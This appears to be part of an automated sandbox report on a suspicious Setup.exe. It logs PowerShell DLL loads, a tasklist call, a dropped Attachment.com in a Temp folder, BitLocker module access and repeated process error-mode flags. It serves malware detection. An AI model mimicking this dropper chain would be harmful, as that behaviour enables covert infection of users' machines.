Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Setup.exe

Static file information: File size 1079797 > 1048576

Source: Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: Setup.exe

Static PE information: real checksum: 0x114378 should be: 0x115d19

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
